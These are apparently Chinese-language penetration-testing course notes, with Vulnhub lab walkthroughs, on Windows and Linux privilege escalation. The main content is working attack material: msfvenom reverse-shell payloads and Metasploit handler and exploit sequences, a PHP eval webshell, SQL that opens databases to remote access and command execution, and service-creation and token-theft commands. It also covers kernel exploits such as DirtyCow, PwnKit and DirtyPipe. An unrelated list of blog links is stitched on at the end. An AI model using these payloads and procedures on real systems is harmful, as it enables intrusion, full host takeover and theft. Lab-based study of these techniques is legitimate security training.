Window Linux 权限提升


#基础点:

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它 心里要想着我是谁 我在哪 我要去哪里

1、具体有哪些权限需要我们了解掌握的:

后台权限,数据库权限,Web权限,用户权限,服务器权限,宿主机权限,域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成

数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成

Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成

用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成

服务器权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成

宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)

域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等

数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)

Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)

用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)

服务器权限:就如同自己电脑上能操作的情况(整个系统都是你的)

宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)

域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理

当我们下载备份文件获取到数据库信息

当我们通过漏洞拿到资产系统的Web权限

当我们在公司被给予账号密码登录计算机或系统

当我们在公司或钓鱼后门获取到某个公司机器系统

#权限提升-Web应用&中间件&数据库

背景1:通过弱口令进入Web后台系统通过上传获取Web权限

背景2:通过Tomcat弱口令进入控制界面通过上传获取Web权限

背景3:通过Redis未授权进入管理端通过SQL执行获取Web权限

#权限转移-后台管理&数据库管理&Web

Tmall-后台权限->Web权限(提升)

Tmall-Web权限->数据库权限(转移)

Tmall-Web权限->另一个后台权限(转移)

PhpMyadmin-数据管理->Web权限(提升)

PhpMyadmin-Web权限->另一个后台权限(转移)


#Web到Win系统提权-平台&语言&用户

1、Web搭建平台差异

集成软件,自行搭建,虚拟化等

集成软件:宝塔,PhpStudy,XAMMP等

自行搭建:自己一个个下载安装搭建配置

虚拟化:Docker,ESXi,QEMU,Hyper-V等

集成软件大多获得权限后直接就是高权限 除了宝塔有自己的安全策略

自行搭建的不会出先拿到权限后就是高权限的情况

虚拟化需要先逃逸
2、Web语言权限差异

ASP/ASP.NET/PHP/JSP等

权限高低:JSP>ASP.NET>ASP=PHP

JSP的拿到权限后就是高权限不需要再提权 其他语言都需要再提(前提是自行搭建的 如果是集成软件的都不需要再提权了)

原因:语言特性
3、系统用户权限差异

Windows:

System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。

Administrators:管理员组,具有对计算机进行完全访问和操作的权限。

Users:用户组,一般用户的默认组别,拥有较低的系统权限。

Guests:

访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。

Backup Operators:

备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。

Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。

Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。

Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。

Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。

Distributed COM Users:

分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。

IIS_IUSRS: 用于授权IIS相关服务的用户组。

Windows 权限大概分为四个基本

System是最高权限Administrators其次,再下面就是User,组权限最底的是特殊组如Remote Desktop Users 这种,ASP/ASP.NET/PHP获得的权限就是IIS_IUSRS这个组的。

Linux:

系统用户:UID(0-999)
普通用户:UID(1000-*)

root用户:UID为0,拥有系统的完全控制权限


#Web到Win-系统提权-宝塔面板-哥斯拉

Windows 2012(宝塔Apache+PHP)-MSF

复现搭建:选择2012系统后自行安装宝塔

PMeterpreter

BypassOpenBaseDir

BypassDisableFunction

#Web到Win-系统提权-溢出漏洞-MSF&CS

Windows 2008(IIS+ASP)-MSF

自行搭建+ASP/PHP+Windows 2008

复现搭建:选择2016系统后自行安装IIS+ASP

0、MSF安装:(也可以用kali)

目前的msf版本有bug可以TB上购买pro版本嘎嘎稳

https://blog.csdn.net/qq_46717339/article/details/122653084

1、生成反弹后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe

2、配置监听会话

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3333

exploit

2.1、筛选EXP模块

全自动:快速识别系统中可能被利用的漏洞

use post/multi/recon/local_exploit_suggester

set showdescription true

3、利用EXP溢出提权

background

use exploit/windows/local/ms16_075_reflection_juicy

set session 1

exploit

Windows 2016(IIS+ASP.NET)-CS

复现搭建:选择2016系统后自行安装IIS+ASP.NET

0、CS安装

chmod +x ./teamserver

chmod +x ./TeamServerImage

./teamserver IP password

1、连接CS

2、创建监听器

3、加载脚本插件



#Web到Win-系统提权-人工操作

如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用

优点:解决实时更新不集成的EXP

缺点:操作繁琐,需要各种复现调试

解决工具或插件无法实时更新,又或者集成较少面对复杂情况下人工操作更适合

1、信息收集

参考常见命令(见上图)

2、补丁筛选

https://i.hacking8.com/tiquan

https://github.com/bitsadmin/wesng

python wes.py systeminfo.txt --color

python wes.py systeminfo.txt --color -i "Elevation of Privilege"

3、EXP获取执行

KernelHub 针对常用溢出编号指定找EXP

Poc-in-Github 针对年份及编号指定找EXP

exploitdb 针对类型及关键说明指定找EXP

https://github.com/Ascotbe/Kernelhub

https://github.com/nomi-sec/PoC-in-GitHub

https://gitlab.com/exploit-database/exploitdb

#Web到Win-系统提权-土豆家族

https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w

土豆(potato)提权通常用在我们获取WEB/数据库权限的时候,

可以将低权限的服务用户提升为"NT AUTHORITY\SYSTEM"特权。

1、Test in:Windows 10/11(1809/21H2)

2、Test in:Windows Server 2019 Datacenter(1809)

3、Test in:Windows Server 2022 Datacenter(21H2)

土豆家族

SweetPotato OK

RoguePotato

BadPotato OK

EfsPotato OK

GodPotato OK

PetitPotato OK

MultiPotato

CandyPotato

RasmanPotato OK

CoercedPotato

JuicyPotatoNG

PrintNotifyPotato OK

GodPotato

https://github.com/BeichenDream/GodPotato

SweetPotato

https://github.com/CCob/SweetPotato

RoguePotato

https://github.com/antonioCoco/RoguePotato

BadPotato

https://github.com/BeichenDream/BadPotato

EfsPotato

https://github.com/zcgonvh/EfsPotato

MultiPotato

https://github.com/S3cur3Th1sSh1t/MultiPotato

CandyPotato

https://github.com/klezVirus/CandyPotato

RasmanPotato

https://github.com/crisprss/RasmanPotato

PetitPotato

https://github.com/wh0amitz/PetitPotato

JuicyPotatoNG

https://github.com/antonioCoco/JuicyPotatoNG

PrintNotifyPotato

https://github.com/BeichenDream/PrintNotifyPotato

CoercedPotato

https://github.com/Prepouce/CoercedPotato


数据库提权流程:

1、先获取到数据库用户密码

-网站存在SQL注入漏洞

-数据库的存储文件或备份文件

-网站应用源码中的数据库配置文件

-采用工具或脚本爆破(需解决外联问题)

2、利用数据库提权项目进行连接

MDUT

Databasetools

RequestTemplate

https://github.com/SafeGroceryStore/MDUT

https://github.com/Hel10-Web/Databasetools

https://github.com/1n7erface/RequestTemplate

3、可利用建立代理解决不支持外联

-利用已知Web权限建立代理(等同于本地连接)

-利用已知权限执行SQL开启外联(让数据库支持外联)

GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

flush privileges;

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'Ad Hoc Distributed Queries', 1;

RECONFIGURE;

ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;

SHUTDOWN IMMEDIATE;

STARTUP;

4、可利用数据库提权类型条件及技术

-MYSQL:PHP+MYSQL 以web入口提权

条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)

技术:UDF MOF 启动项 反弹Shell

-MSSQL:.NET+MSSQL 以web入口提权

条件:sa密码

技术:xp_cmdshell sp_oacreate CLR 沙盒

-Oracle:(站库分离,非JSP,直接数据库到系统等)

条件:数据库用户密码

技术:DBA,普通用户,注入模式

-MSSQL:.NET+MSSQL 以web入口提权

条件:sa密码

技术:xp_cmdshell sp_oacreate CLR 沙盒

-Oracle:(站库分离,非JSP,直接数据库到系统等)

条件:数据库用户密码

技术:DBA,普通用户,注入模式

-PostgreSQL

Web到系统

条件:数据库用户密码

技术:CVE-2019-9193 UDF libc

复现镜像:

https://market.aliyun.com/products/56024006/cmjj016247.html

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'id';

SELECT * FROM cmd_exec;

-Redis

数据库到Linux

条件:利用未授权或密码连接后执行

见第78天课程内容-只适用Linux

技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行

复现搭建:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzf redis-2.8.17.tar.gz

cd redis-2.8.17

make

cd src

/redis-server

-Memcached

数据库到Linux

条件:设置远程可访问或取得本地权限后访问

是一套常用的key-value缓存系统,由于它本身没有权限控制模块,

服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。

复现镜像:

https://market.aliyun.com/products/56024006/cmjj017529.html

案例参考:

https://mp.weixin.qq.com/s/V_p1heyM-2HxsaFLRs9qeg

开启命令:

systemctl start memcached.service

关闭命令:

systemctl stop memcached.service

查看状态:

systemctl status memcached.service

#第三方软件提权:

远控类:Teamviewer 向日葵 Todesk VNC Radmin等

密码类:各大浏览器 Xshell Navicat 3389 等

服务类:FileZilla Serv-u Zend等

文档类:Winrar WPS Office等

原理:

1、通过普通用户或Web用户收集或提取有价值凭据进行提升

2、通过普通用户或Web用户上传类似钓鱼文件等待管理提升

演示:

1、计算机用户:Teamviewer

2、计算机用户:NavicatPremium

3、计算机用户或WEB权限:Winrar(CVE2023)

4、计算机用户:浏览器密码凭据


应用场景:

1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。

2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。

主要当前技术入口点:

-当前权限由钓鱼攻击获取

主要当前技术应用点:

-当前受控机在内网域环境

1、提权system与内网交互

2、降权到域用户与内网交互

#服务启动(提权)

sc是用于与服务控制管理器和服务进行通信的命令行程序。

适用版本:windows 7、10、08、12、16、19、22,早期用at命令

1、创建一个名叫syscmd的执行文件服务

sc Create syscmd binPath= "c:\msf.exe"

2、运行服务

sc start syscmd

#远程控制(提权)

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

psexec.exe -accepteula -s -i -d cmd #调用运行cmd

#进程注入(降权&提权)

MSF:

ps //查看进程

migrate PID //迁移对应PID

CS:

ps //查看进程

inject PID //注入对应PID

#令牌窃取(降权&提权)

MSF:

use incognito

list_tokens -u

impersonate_token "NT AUTHORITY\SYSTEM"

CS:

ps //查看进程

steal_token PID //窃取进程令牌

spawnu PID //窃取进程令牌上线


应用场景:

1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。

2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。

#Win10&11-BypassUAC自动提权-MSF&UACME

为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制

在用户到系统权限自动提权中也学通过BypassUAC实现自动化提权

绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)

开启UAC和未开启UAC时,CS/MSF默认getsystem提权影响(进程注入等)

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f exe -o msf.exe

1、MSF模块:

use exploit/windows/local/ask

use exploit/windows/local/bypassua 针对Windows7

use exploit/windows/local/bypassuac_sluihijack

use exploit/windows/local/bypassuac_silentcleanup

2、UACME项目:

https://github.com/hfiref0x/UACME

Akagi64.exe 编号 调用执行

#Windows-DLL劫持提权应用配合MSF-FlashFXP

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-等待启动应用成功

检测:ChkDllHijack 火绒剑

项目:https://github.com/anhkgg/anhkgg-tools

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o xiaodi.dll

提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

#Windows-不带引号服务路径配合MSF-MacroExpert

原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行

过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功

检测命令:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

上传反弹exe,设置好对应执行名后,执行sc start "Macro Expert"

#Win2012-不安全的服务权限配合MSF-NewServices

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

检测脚本:accesschk.exe -uwcqv "" *

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

sc config "test" binpath= "C:\Program.exe"

sc start test

#综合类检测项目:

https://github.com/carlospolop/PEASS-ng

PEAS-ng适用于Windows和Linux/Unix*和MacOS的权限提升工具。

winPEAS.bat > result.txt

winPEASany.exe log=result.txt


Linux
#信息收集

当前主机的操作系统

hostnamectl

cat /etc/*-release

lsb_release -a

cat /etc/lsb-release # Debain

cat /etc/redhat-release # Redhat

cat /etc/centos-release # Centos

cat /etc/os-release # Ubuntu

cat /etc/issue

当前主机的内核版本

hostnamectl

uname -a

cat /proc/version

dmesg | grep "Linux version"

#内核漏洞筛选:

MSF检测:

run post/multi/recon/local_exploit_suggester

提权脚本:

https://github.com/liamg/traitor

https://github.com/The-Z-Labs/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

https://github.com/belane/linux-soft-exploit-suggester

综合脚本:

https://github.com/carlospolop/PEASS-ng

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/redcode-labs/Bashark

https://github.com/rebootuser/LinEnum

#应用场景:

获取到Web权限在Linux服务器上时进行的内核漏洞提权

#常见内核漏洞案例:

dirtycow(CVE-2016-5159)

Pwnkit (CVE-2021-4034)

Dirty Pipe(CVE-2022-0847)

SUDO (CVE-2021-3156)

大脏牛 (CVE-2017--1000405)

CVE-2017-16995

CVE-2021-3560

CVE-2023-1829

CVE-2022-2588

CVE-2021-3493

CVE-2022-32250

CVE-2023-3269

CVE-2022-0995

CVE-2022-2639

CVE-2023-0386

...

#Linux系统提权-Web&内核溢出-Dcow

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用:

search drupal

use exploit/unix/webapp/drupal_drupalgeddon2

set rhost 192.168.46.144

set rport 1898

run

3、内核提权:

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

https://github.com/gbonacini/CVE-2016-5195

upload /root/dcow.cpp /tmp/dcow.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

python -c 'import pty; pty.spawn("/bin/bash")'

./dcow

su root

#Linux系统提权-Web&内核溢出-Pwnkit

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用:

重置管理密码-上传1.phtml-反弹MSF

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

search cve_2021_4034

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

set session x

run

getuid

shell

cd /root

cat root.txt

#Linux系统提权-Web&内核溢出-DirtyPipe

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用

扫描发现-抓包分析-文件写入-反弹MSF

gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

message=<?php eval($_POST["pass"]);?>&file=xd.php

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

search cve_2022_0847

use exploit/linux/local/cve_2022_0847_dirtypipe

set session x

set lhost xx.xx.xx.xx

run

#补充

CVE-2023-0386

https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q

相关推荐
梦想很大很大5 小时前
拒绝“盲猜式”调优:在 Go Gin 项目中落地 OpenTelemetry 链路追踪
运维·后端·go
Sinclair6 小时前
内网服务器离线安装 Nginx+PHP+MySQL 的方法
运维
叶落阁主6 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
茶杯梦轩14 小时前
从零起步学习RabbitMQ || 第二章:RabbitMQ 深入理解概念 Producer、Consumer、Exchange、Queue 与企业实战案例
服务器·后端·消息队列
甲鱼9291 天前
MySQL 实战手记:日志管理与主从复制搭建全指南
运维
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全